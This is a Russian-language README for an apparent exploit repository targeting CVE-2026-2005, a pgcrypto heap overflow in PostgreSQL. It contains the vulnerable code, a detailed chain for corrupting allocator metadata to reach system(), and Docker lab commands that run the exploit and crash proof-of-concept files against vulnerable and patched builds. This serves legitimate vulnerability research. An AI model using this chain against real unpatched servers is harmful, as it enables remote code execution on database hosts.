
Эксплойт для CVE-2026-2005 — переполнение кучи в расширении pgcrypto PostgreSQL, приводящее к удалённому выполнению кода. Включает генераторы PoC, Docker-лабораторию и подробное техническое описание.
Удаленное выполнение кода с помощью одного SQL-запроса, нацеленного на расширение pgcrypto в PostgreSQL. Уязвимость представляет собой переполнение буфера кучи в pgp_parse_pubenc_sesskey(), которое позволяет повредить метаданные внутреннего распределителя MemoryContext PostgreSQL, достигая произвольного выполнения кода от имени пользователя postgres.
| CVE | CVE-2026-2005 |
| Компонент | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Переполнение буфера кучи) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Затронуты | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Исправлено | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Раскрыто | 2026-02-12 |
| Коммит исправления | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Подождите ~5 секунд, пока postgres инициализируется
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // контролируется атакующим
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key имеет тип uint8[32]
ctx->sess_key — это фиксированный буфер размером 32 байта, встроенный в выделяемую в куче структуру PGP_Context. Специально сформированное PGP-сообщение с чрезмерно большим RSA-зашифрованным ключом сессии увеличивает sess_key_len до ~200 байт, вызывая переполнение соседних выделений в куче. Исправление добавляет проверку границ sess_key_len > PGP_MAX_KEY.
sess_key[32] записывает поддельные метаданные распределителя в соседнее выделение MBufMBuf->data = NULL, чтобы explicit_bzero был пропущен при очисткеhdrmask декодируется в blockoffset=64, перенаправляя указатель блока на данные, контролируемые атакующимAllocSetFree записывает адрес чанка в MC+16 (поле MemoryContext->methods), заменяя указатель на vtableMemoryContextDelete(MC) вызывает methods->delete_context(MC) через нашу поддельную vtable → system(MC)system() читает структуру MemoryContext как строку: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → выполняет /usr/local/bin/\xd5\x01pgcrypto (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (включен в Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # Автономный генератор эксплойта + раннер
│ ├── gen_exploit_v7.py # Аннотированный сборщик полезной нагрузки
│ ├── gen_payload.py # Генератор PoC только для сбоя (все размеры переполнения)
│ ├── poc_big.sql # Предварительно сгенерированный PoC для сбоя (SIGSEGV)
│ └── poc_minimal.sql # Минимальный PoC с переполнением на 4 байта
├── lab/
│ ├── docker-compose.yml # Полная лаборатория: уязвимая, исправленная, отладочная, эксплойт
│ ├── Dockerfile.exploit # Релизная сборка + скрипт-триггер (цель RCE)
│ ├── Dockerfile.vuln # Стандартная уязвимая сборка (демонстрация сбоя)
│ ├── Dockerfile.debug # Сборка Cassert (демонстрация assertion)
│ ├── init.sql # Инициализация базы данных
│ └── setup.sh # Вспомогательный скрипт настройки лаборатории
├── reports/
│ ├── RCE-CHAIN.md # Подробное техническое описание эксплуатации
│ ├── REPORT.md # Отчет об анализе уязвимости
│ └── TODO-FOR-RCE.md # Журнал разработки (завершен)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Соответствующие фрагменты исходного кода
| Контейнер | Порт | Назначение |
|---|---|---|
pg-exploit | 5436 | Цель RCE (стандартная 17.7 + скрипт-триггер) |
pg-vuln | 5433 | Демонстрация сбоя (стандартная 17.7, SIGSEGV) |
pg-fixed | 5434 | Исправленная сборка (17.8, отклоняет полезную нагрузку) |
pg-debug | 5435 | Отладочная сборка (cassert SIGABRT с указанием источника) |
# Запуск всех контейнеров
cd lab && docker compose up -d
# Демонстрация сбоя (SIGSEGV на стандартной сборке)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Исправленная сборка (корректное отклонение)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Отладочная сборка (assertion с файлом:строкой)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm. Для других сборок/окружений требуется перенастройка адресов (через GDB или утечку информации).SELECT digest('x','md5')) в том же соединении стабилизирует раскладку кучи перед запросом эксплойта.\xd5\x01 в PATH. Dockerfile устанавливает его заранее. Реальная эксплуатация потребовала бы предварительного доступа на запись или другого подхода с ROP/one-gadget.--enable-cassert прерываются на assertion до записи в freelist.379695d)Данный эксплойт предоставлен исключительно для авторизованных исследований в области безопасности и образовательных целей. Используйте только в контролируемых лабораторных средах с явным разрешением.